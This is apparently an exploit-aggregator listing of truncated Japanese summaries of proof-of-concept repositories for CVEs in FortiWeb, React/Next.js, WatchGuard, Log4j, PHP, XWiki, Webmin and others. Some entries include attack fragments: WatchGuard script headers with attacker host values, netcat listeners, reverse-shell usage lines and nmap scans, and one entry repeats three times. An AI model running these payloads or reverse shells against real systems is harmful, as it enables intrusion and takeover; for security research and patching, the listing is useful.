CVE-2025-25257

CVE-2025-25257 watchtowr および GitHub で見つけた他の研究者によって公開された CVE-2025-25257 のエクスプロイトは、公式ベンダーサイトからダウンロードした私の fortiweb 環境では動作しませんでした。これらのエクスプロイトコードの一部を流用して、自分の環境でリバースシェルを起動できる PoC を作成しました。リバースシェルの IP アドレスとポートはハードコードされているため、もちろん変更する必要があります。 エクスプロイトの解析とウォークスルーは、私の YouTube チャンネルの 2...

CVE-2026-47103-python-statemachine-rce

CVE-2026-47103: Python StateMachine の SCXML eval インジェクションによるリモートコード実行 深刻度: Critical、CVSS 4.0 9.3 、CVSS 3.1 9.8 （CNAであるVulnCheckにより割り当て） ベクター v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N ベクター v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 影響を受けるバージョン: Python StateMachi...

react2shell

React2Shell CVE-2025-55182 の認証なしリモートコード実行（RCE）脆弱性の概念実証（PoC）エクスプロイト、別名 React2Shell。 このスクリプトは、以下のバージョン以前の Next.js でシェルを取得するために使用されます。 15.0.4 以下 15.1.8 以下 15.2.5 以下 15.3.5 以下 15.4.7 以下 15.5.6 以下 16.0.6 以下 14.3.0-canary.77 以降のリリース バージョン 16.0.6 でのみテストされています。 使用方法 root@kitploit: $ ./react2shell.py --he...

watchguard_cve-2022-26318

watchguardcve-2022-26318 Watchguard RCE POC CVE-2022-26318 !/usr/bin/python3 -- coding: utf-8 - - CVE-2022-26318 import socket import ssl import gzip Remote WatchGuard XTM or FireWare OS RHOST = "1.1.1.1" Local host with nc listener: nc -l 8.8.8.8 8888 LHOST = "8.8.8.8" def buildPayloadLHOST:...

CVE-2025-55182

CVE-2025-55182 RCE 個人用チェックツールです。CVE-2025-55182の脆弱性をチェックするために使用します。 脆弱性の原理 React Server Components は、サーバー関数エンドポイントに送信されたペイロードをデコードする際に、パス解決の欠陥が存在します。コロンでオブジェクトのプロパティを区切ることでネストした値の取得を実現します（例: $1🅰️b は "a":"b":"foo".a.b に対応）が、プロパティの存在性の検証は行われません。$1🅰️a が渡されると、.a.a の無効な値の取得がトリガーされ、サーバー側で 500...

Project-Project-Chimera-Exploiting-a-Modern-WordPress-XXE-to-Pillage-Secrets-

プロジェクト目標: 脆弱なWordPressインストールに対する完全な攻撃チェーンを実証し、CVE-2021-29447（メディアライブラリのXXE）を悪用してリモートコード実行と完全なシステム侵害を達成すること。 フェーズ1: 偵察と列挙 Nmapによるネットワークスキャン: bash Quick SYN scan to discover open ports nmap -sS -T4 10.201.3.95 Detailed version and script scanning nmap -sV -sC -p22,80,3306 10.201.3.95 -oA initialsca...

React2Shell-CVE-2025-55182-Testing-Environment

React2Shell CVE-2025-55182 テスト環境 CVE-2025-55182 のコンテナ化テスト環境。React Server Components における重大な CVSS 10.0 リモートコード実行脆弱性です。 ⚠️ 警告 この環境は意図的に脆弱であり、以下の目的にのみ使用すべきです： セキュリティ研究と教育 隔離環境でのペネトレーションテスト 脆弱性のメカニズムの理解 使用禁止： 本番環境へのデプロイ インターネットへの公開 悪意のある目的での使用 脆弱性の詳細 CVE : CVE-2025-55182 React, CVE-2025-66478 Next.js...

CVE-2024-4577

これは CVE 2024-4577 の POC です このエクスプロイトにより、攻撃者は RCE を実行できます PHP 8.3 8.3.8 PHP 8.2 8.2.20 PHP 8.1 8.1.29 のようなPHPバージョン 引数はコードから確認できます！ この特定のエクスプロイトの詳細については、nist.gov を確認してください。...

xwiki_solrsearch-rce-exploit

solrsearch-rce-exploit XWiki SolrSearch 用の認証不要 RCE PoC CVE-2025-24893。コマンド実行 + リバースシェル。 CVE-2025-24893 – XWiki SolrSearch RCE PoC XWiki SolrSearch テンプレートインジェクションによる認証不要のリモートコード実行を実証する概念実証です。 XWiki Debian 15.10.8 でテスト済み 15.10.11 / 16.4.1 / 16.5.0RC1 で修正。 ⚠️...

CVE-2012-2982-Webmin-RCE

Webadmin 1.580 RCE PoC CVE-2012-2982 このリポジトリには、Webmin バージョン 1.580 向けの Python 概念実証 PoC エクスプロイトが含まれています。このバージョンは、不適切な入力サニタイズに起因する リモートコマンド実行 RCE 脆弱性の影響を受けます。脆弱性は file/show.cgi コンポーネントに存在し、ファイルマネージャーモジュールにアクセスできる 認証済み Webmin ユーザー が 任意の OS コマンドを root として実行 することを可能にします。 この PoC は 教育および研究目的...

CVE-2021-44228

CVE-2021-44228 log4shell POC log4j スキャンツール このツールは、お使いのシステムにおけるリモートコード実行の脆弱性（log4j）を特定するのに役立ちます。 要件 bash スクリプトを実行するには、httpx、subfinder、assetfinder、curl、amass をインストールする必要があります。 インストール 1. リポジトリを git clone するか、bash スクリプトをダウンロードしてください。 git clone https://github.com/shamo0/CVE-2021-44228.git 2...

apache-cve-2021-42013-rce

apache-cve-2021-42013-rce Apache HTTP Server 2.4.49 上の CVE-2021-42013 脆弱性 Path Traversal & RCE をシミュレートする Docker ベースの侵入テストラボ。 このプロジェクトは、Apache HTTP Server 2.4.49 に存在する CVE-2021-42013 の脆弱性を隔離された環境でシミュレートし、悪用 exploit するために作成されました。この作業では docker-exploit-lab という専用のラボ環境が構築され、攻撃シナリオは同じネットワーク上の被害者 victim...

CVE-2025-55182

CVE-2025-55182.yaml CVE-2025-55182 poc nuclei -target url -t CVE-2025-55182.yaml nuclei-template에서 수정됨 핵심 코드: root@kitploit: "then":"$1:proto:then","status":"resolvedmodel","reason":-1,"value":""then":"$B1337"","response":"prefix":"var...

CVE-2021-41653

CVE-2021-41653 TP-Link TL-WR840N EU v5 リモートコード実行 参照: https://k4m1ll0.com/cve-2021-41653.html...

CVE-2026-81650 NextGEN Gallery < 4.5.0 - Authenticated Arbitrary File Upload via ZIP Import

The Photo Gallery, Sliders, Proofing and WordPress plugin before 4.5.0 does not correctly validate the extensions of files extracted from an uploaded archive, due to a variable being reused as a loop counter so that the check always passes, allowing users granted its gallery-management capability...

CVE-2026-81650 NextGEN Gallery < 4.5.0 - Authenticated Arbitrary File Upload via ZIP Import

The Photo Gallery, Sliders, Proofing and WordPress plugin before 4.5.0 does not correctly validate the extensions of files extracted from an uploaded archive, due to a variable being reused as a loop counter so that the check always passes, allowing users granted its gallery-management capability...

EUVD-2026-83662

The Photo Gallery, Sliders, Proofing and WordPress plugin before 4.5.0 does not correctly validate the extensions of files extracted from an uploaded archive, due to a variable being reused as a loop counter so that the check always passes, allowing users granted its gallery-management capability...

CVE-2025-55182-PoC

CVE-2025-55182-PoC CVE-2025-55182 の PoC root@kitploit: Usage: python3 poc.py -u http://target.com --cmd "" 法的免責事項 このツールは、教育目的および許可されたセキュリティテスト専用に提供されています。事前に相互の同意なしにターゲットへの攻撃にこのツールを使用することは違法です。開発者は一切の責任を負わず、本プログラムによって引き起こされた誤用や損害についても責任を負いません。 要件 pip install requests 使用方法...

CVE-2025-30397---Windows-Server-2025-JScript-RCE-Use-After-Free-

CVE-2025-30397---Windows-Server-2025-JScript-RCE-Use-After-Free JScript.dll の Use-After-Free によるリモートコード実行 CVE-2025-30397 🧠 説明 このリポジトリには、Windows Server 2025 ビルド 25398 以前 に影響する JScript エンジン jscript.dll の Use-After-Free 脆弱性に対する概念実証 PoC エクスプロイトが含まれています。この脆弱性は、ヒープスプレー技術によるメモリ破壊を悪用してリモートコード実行を可能にします。Po...

CVE-2024-28397-Reverse-Shell

CVE-2024-28397-Reverse-Shell CVE-2024-28397 用のリバースシェル。 エクスプロイトは js2py = v0.74 で動作します。 要件 requests ライブラリ pip install requests Python3 Netcat リバースシェルのリスナーとして使用できるもの 使用方法 リスナー用 root@kitploit: nc -lnvp 4444 エクスプロイト用 root@kitploit: python3 exploit.py 10.129.66.160 8000 /runcode --localip 10.10.15.11...